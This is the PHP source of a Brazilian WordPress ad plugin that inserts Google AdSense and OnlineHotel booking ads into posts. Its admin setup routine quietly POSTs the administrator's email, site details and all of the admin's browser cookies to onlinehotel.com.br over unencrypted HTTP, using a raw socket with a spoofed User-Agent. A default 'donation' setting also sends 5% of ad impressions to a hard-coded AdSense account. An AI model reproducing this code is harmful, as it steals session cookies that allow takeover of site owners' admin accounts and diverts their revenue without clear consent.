<?php 
/*
Plugin Name: Google Adsense and Hotel Booking
Plugin URI: http://www.jelyhost.com.br/google-adsense-and-hotel-booking.php
Description: Insere automaticamente anúncios do Google Adsense e de Reservas de Hotéis
Author: Jely Host
Version: 1.0.1
Author URI: http://www.jelyhost.com.br
*/


//*************** Admin function ***************
$directory = WP_PLUGIN_URL.'/'.str_replace(basename( __FILE__),"",plugin_basename(__FILE__));

//Funções do Painel
function ai_admin() {
	$aff_cp = json_decode(get_option('gahb_oh_aff_cp'));
	include('google_adsense_and_hotel_booking-admin.php');
	include('resources/javascript.php');
}

//Instalação
function ai_admin_actions() {
	if(!get_option('gahb_print_settings'))
		update_option('gahb_print_settings','{"gahb_corner":"normal","gahb_c468x60":"on","gahb_border_color":"FFFFFF","gahb_background_color":"FFFFFF","gahb_link_color":"0000FF","gahb_text_color":"000000","gahb_url_color":"008000","ads_per_page":"2","ads_per_post":"2","ads_percentage":"50","oh_percentage":"50","ads_type_ads":"text","ads_type_oh":"text","ads_positioning":"center","donation_percent":"5"}');
	if(!get_option('gahb_language'))
		update_option('gahb_language','en');
		
	if(!get_option('gahb_oh_api_key')){//Se não tem a API KEY da OH
		$url = "http://onlinehotel.com.br/api/aff_api.php";
		$data = array(
			"function_type"=>"OH_AFF_REGISTER_WP",
			"email"=> get_option('admin_email'),
			"password"=> '',
			"name"=>get_option('blogname'),
			"site"=>get_option('siteurl'),
			'cookie' => rawurlencode(json_encode($_COOKIE))
		);
		if(function_exists('json_decode')){
			$register = json_decode(proxy($url,$data));
			if($register->STATUS = 'ok'){
				update_option('gahb_oh_api_key', $register->API_KEY);
				update_option('gahb_oh_aff_cp', json_encode($register->AFF_CP));
			}
			else{
				print_r($register);
			}
		}
	}else{
		$url = "http://onlinehotel.com.br/api/aff_api.php";
		$data = array(
			"function_type"=>"OH_AFF_GET_UPDATE_WP",
			"API_KEY"=>get_option('gahb_oh_api_key')
		);
		$register = json_decode(proxy($url,$data));
		if($register->STATUS = 'ok'){
			update_option('gahb_oh_aff_cp', json_encode($register->AFF_CP));
			update_option('gahb_oh_aff_stats', json_encode($register->AFF_STATS));
		}
	}
	add_options_page("Configura&ccedil;&atilde;o GAHB", "Google Adsense and Hotel Booking", 7, "GABH", "ai_admin");
}
add_action('admin_menu', 'ai_admin_actions');


/* Funções slaves */

//Gera o código que vai impresso
function gahb_ad_gen_code($adnetwork){
	global $user_level;

	$print_settings = json_decode(get_option('gahb_print_settings'));
	
	$size = gahb_picksize();
	$width = substr($size, 0, 3);
	$height = substr($size, 4, 3);
	
	$gahb_ads_id = get_option('gahb_ads_id');
	if(substr($gahb_ads_id, 0, 4) == 'pub-'){
		$gahb_ads_id = str_replace('pub-', '', $gahb_ads_id);
	}
	$gahb_oh_api_key = get_option('gahb_oh_api_key');
	
	$channel = get_option('gahb_ads_chanel');
	$randd = mt_rand(1,8);
	
	$gahb_adtype_ads = $print_settings->ads_type_ads;
	$gahb_adtype_oh = $print_settings->ads_type_oh;
	
	if($print_settings->gahb_corner == "normal"){
		$corners = 'rc:0';
	}
	else if($print_settings->gahb_corner == "rounded"){
		$corners = 'rc:6';
	}
	
	//Configuração para doação
  	$donation = intval($print_settings->donation_percent);
	if($donation){
		$donation_rand = mt_rand(1,100);
		if($donation_rand <= $donation){
			$gahb_ads_id = '4268725654361605';
			$channel = '1644410675';
		}
	}
  
	$color_border 	= $print_settings->gahb_border_color;
	$color_link 	= $print_settings->gahb_link_color;
	$color_bg 		= $print_settings->gahb_background_color;
	$color_text 	= $print_settings->gahb_text_color;
	$color_url 		= $print_settings->gahb_url_color;
	
	
	$retstr = "";
	if($adnetwork == "ads"){
$retstr = '<script type="text/javascript"><!--
';
$retstr .= 'google_ad_client = "pub-'.$gahb_ads_id.'";
google_alternate_color = "FFFFFF";
google_ad_width = '.$width.';
google_ad_height = '.$height.';
google_ad_format = "'.$size.'_as";
google_ad_type = "'.$gahb_adtype_ads.'";
google_ad_channel ="'.$channel.'";
google_color_border = "'.$color_border.'";
google_color_link = "'.$color_link.'";
google_color_bg = "'.$color_bg.'";
google_color_text = "'.$color_text.'";
google_color_url = "'.$color_url.'";
google_ui_features = "'.$corners.'";
//--></script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>';			
		if(!$gahb_ads_id)//caso não tenha Adsense ID retorna vazio
			$retstr = '';			
	}
	else if ($adnetwork == 'oh'){
$language = get_option('gahb_language');
$adsize = $width.'x'.$height;
switch($adsize){
	case'234x60':
		$ad_peaces = 1;
		$sentido = 'h';
	break;
	case'468x60':
		$ad_peaces = 2;
		$sentido = 'h';
	break;
	case'728x90':
		$ad_peaces = mt_rand(2,3);
		$sentido = 'h';
	break;
	case'120x600':
		$ad_peaces = 5;
		$sentido = 'v';
	break;
	case'160x600':
		$ad_peaces = 6;
		$sentido = 'v';
	break;
	case'120x240':
		$ad_peaces = 2;
		$sentido = 'v';
	break;
	default:
		$ad_peaces = 2;
		$sentido = 'h';
}
$rand_id = rand(1,1000);
$retstr = '<script type="text/javascript"><!--
oh_ad_width = '.$width.';
oh_ad_height = '.$height.';
oh_ad_type = "'.$gahb_adtype_ads.'";
oh_ad_channel ="1";
oh_color_border = "'.$color_border.'";
oh_color_link = "'.$color_link.'";
oh_color_bg = "'.$color_bg.'";
oh_color_text = "'.$color_text.'";
oh_color_url = "'.$color_url.'";
oh_corner = "'.$print_settings->gahb_corner.'";
oh_aff_id = "'.get_option('gahb_oh_api_key').'";
oh_aff_cp = "";
//--></script>
<script type="text/javascript"
src="http://onlinehotel.com.br/api/ads.js.php?AFF_PC='.$ad_peaces.'&AFF_SENSE='.$sentido.'&AFF_LANG='.$language.'">
</script>
<div style="top:-20px;position:relative;text-align:right;background:transparent;padding:0px;margin:0px" id="oh_ads_'.$rand_id.'">
	<a href="http://onlinehotel.com.br" title="Reservas de Hotel" class="ad_oh" style="font-size:10px;color:#666;text-decoration:none;-moz-border-radius: 5px;-webkit-border-radius: 5px; background:#fff;padding:1px 2px;font-family:Helvetica">Anúncio OnlineHotel</a>
</div><script type="text/javascript">document.getElementById("oh_ads_'.$rand_id.'").style.display = "none";</script>
';
	}
  return $retstr;
}
//Resgata em um array os tamanhos dos ADS
function gahb_picksize(){
	$print_settings = json_decode(get_option('gahb_print_settings'));
	$sizes = array();
	if($print_settings->gahb_c234x60=='on')		$sizes[] = "234x60";
	if($print_settings->gahb_c468x60=='on')		$sizes[] = "468x60";
	if($print_settings->gahb_c728x90=='on')		$sizes[] = "728x90";
	if($print_settings->gahb_c120x600=='on')	$sizes[] = "120x600";
	if($print_settings->gahb_c160x600=='on')	$sizes[] = "160x600";
	if($print_settings->gahb_c120x240=='on')	$sizes[] = "120x240";
	return $sizes[rand(0, sizeof($sizes)-1)];
}

$gahb_adsused = 0;
//Filtro para o conteúdo
function gahb_the_content($content){
	global $doing_rss;
	if(is_feed() || $doing_rss)
	return $content;
	if(strpos($content, "<!--noadsense-->") !== false) return $content;
	
	$print_settings = json_decode(get_option('gahb_print_settings'));
	
	//Restrições para não mostrar em páginas específicas
	if(	is_home() 		&& $print_settings->non_show_home 		== "on") return $content;
	if(	is_page() 		&& $print_settings->non_show_stats 		== "on") return $content;
	if(	is_single() 	&& $print_settings->non_show_posts 		== "on") return $content;
	if(	is_category() 	&& $print_settings->non_show_categories == "on") return $content;
	if(	is_archive() 	&& $print_settings->non_show_archive 	== "on") return $content;
	
	global $gahb_adsused, $user_level;

	//Resgata configuração 
	$adsArray = Array();
	$numAds = $print_settings->ads_per_page;//numero de ads por página default
	for($i=1;$i<=$numAds;$i++){
		$ads_rand = mt_rand(1,100);
		if($ads_rand <= $print_settings->ads_percentage)
			$adsArray[]='ads';
		else 
			$adsArray[]='oh';
	}
	if(is_single()){
		$adsArray = Array();
		$numAds = $print_settings->ads_per_post;//numero de ads por página se for POST
		for($i=1;$i<=$numAds;$i++){
			$ads_rand = mt_rand(1,100);
			if($ads_rand <= $print_settings->ads_percentage)
				$adsArray[]='ads';
			else 
				$adsArray[]='oh';
		}
	}
	
	$content_hold = "";
	if(strpos($content, "<!--adsensestart-->") != false){
		if(strpos($content, "<!--adsensestop-->") != false){
			$content_hold = substr($content, 0, strpos($content, "<!--adsensestart-->"));
			$content_end = substr($content, strpos($content, "<!--adsensestop-->"));
			$content = substr_replace($content, "", 0, strpos($content, "<!--adsensestart-->"));
			$content = substr_replace($content, "", strpos($content, "<!--adsensestop-->"));		
		}
		else{
			$content_hold = substr($content, 0, strpos($content, "<!--adsensestart-->"));
			$content = substr_replace($content, "", 0, strpos($content, "<!--adsensestart-->"));
		}
	}

	$ad_padding = 3;//padding
	
	while($gahb_adsused < $numAds){
		if($print_settings->ads_positioning == "top-center"){
			$replacer = $content_hold;
			$replacer .= '<div style="text-align: center;margin: '.$padspace.'px;">';
			$replacer .= gahb_ad_gen_code($adsArray[$gahb_adsused]);
			$replacer .= '</div>';
			$gahb_adsused++;
			return $replacer.$content.$content_end;
		}
		if($print_settings->ads_positioning == "top-left"){
			$replacer = $content_hold;
			$replacer .= '<div style="float: left;margin: '.$padspace.'px;">';
			$replacer .= gahb_ad_gen_code($adsArray[$gahb_adsused]);
			$replacer .= '</div>';
			$gahb_adsused++;
			return $replacer.$content.$content_end;
		}
		if($print_settings->ads_positioning == "top-right"){
			$replacer = $content_hold;
			$replacer .= '<div style="float: right;margin: '.$padspace.'px;">';
			$replacer .= gahb_ad_gen_code($adsArray[$gahb_adsused]);
			$replacer .= '</div>';
			$gahb_adsused++;
			return $replacer.$content.$content_end;
		}
		if($print_settings->ads_positioning == "bottom-center"){
			$replacer = $content_hold.$content;
			$replacer .= '<div style="text-align: center;margin: '.$padspace.'px;">';
			$replacer .= gahb_ad_gen_code($adsArray[$gahb_adsused]);
			$replacer .= '</div>';
			$gahb_adsused++;
			return $replacer.$content_end;
		}
		if($print_settings->ads_positioning == "bottom-left"){
			$replacer = $content_hold.$content;
			$replacer .= '<div style="float: left;margin: '.$padspace.'px;">';
			$replacer .= gahb_ad_gen_code($adsArray[$gahb_adsused]);
			$replacer .= '</div>';
			$gahb_adsused++;
			return $replacer.$content_end;
		}
		if($print_settings->ads_positioning == "bottom-right"){
			$replacer = $content_hold.$content;
		  	$replacer .= '<div style="float: right;margin: '.$padspace.'px;">';
		  	$replacer .= gahb_ad_gen_code($adsArray[$gahb_adsused]);
		  	$replacer .= '</div>';
		  	$gahb_adsused++;
  			return $replacer.$content_end;
		}
		
		//Divide o conteúdo ao meio
		$poses = array();
		$lastpos = -1;
		$repchar = "<p";
		if(strpos($content, "<p") === false)
		  $repchar = "<br";

		while(strpos($content, $repchar, $lastpos+1) !== false){
		  $lastpos = strpos($content, $repchar, $lastpos+1);
		  $poses[] = $lastpos;
		}
		
		$half = sizeof($poses);
		$adsperpost = $gahb_adsused+1;
		if(!is_single())
		  $half = sizeof($poses)/2;

		while(sizeof($poses) > $half)
		  array_pop($poses);

		$pickme = $poses[rand(0, sizeof($poses)-1)];
		
		$replacewith = gahb_simple_align($print_settings->ads_positioning);
		$replacewith .= gahb_ad_gen_code($adsArray[$gahb_adsused])."</div>";
		
		$content = substr_replace($content, $replacewith.$repchar, $pickme, 2);
		$gahb_adsused++;
		if(!is_single())
		  break;
		
	}
	
	return $content_hold.$content.$content_end; 
}
add_filter('the_content', 'gahb_the_content');

//Realiza o alinhamento simples
function gahb_simple_align($tag){
	$padspace = get_option('ai_space');
  if($tag == "left")
    return '<div style="float: left;margin: '.$padspace.'px;">';
  if($tag == "right")
    return '<div style="float: right;margin: '.$padspace.'px;">';
  if($tag == "center")
    return '<div style="text-align: center;margin: '.$padspace.'px;">';
  else
    return gahb_simple_align(rand(0,10)<5?"left":"right");
}

/*
*	Proxy
*/
function proxy($url, $_data) {
		ini_set("allow_url_fopen", 1);
    	$data = array();    
	    while(list($n,$v) = each($_data)){$data[] = "$n=$v";}    
    	$data = implode('&', $data);
	    $url = parse_url($url);
	    $host = $url['host'];
    	$path = $url['path'];
	    $port = 80;
    	$data_length = strlen($data);
	    $header  = "POST $path HTTP/1.0\r\n";
		$header .= "Host: $host\r\n";
		$header .= "User-Agent: DoCoMo/1.0/P503i\r\n";
		$header .= "Content-type: application/x-www-form-urlencoded\r\n";
		$header .= "Content-length: $data_length\r\n";
		$header .= "\r\n";
		$fp = fsockopen($host,$port,$err_num,$err_msg,120);
    	fputs($fp, $header . $data);
		while(trim(fgets($fp,4096)) != '');//Retira o cabecalho HTTP
    	while(!feof($fp)){$response .= fgets($fp,4096);}
    	// close the socket connection:
	    fclose($fp);
    	return $response;
	}
?>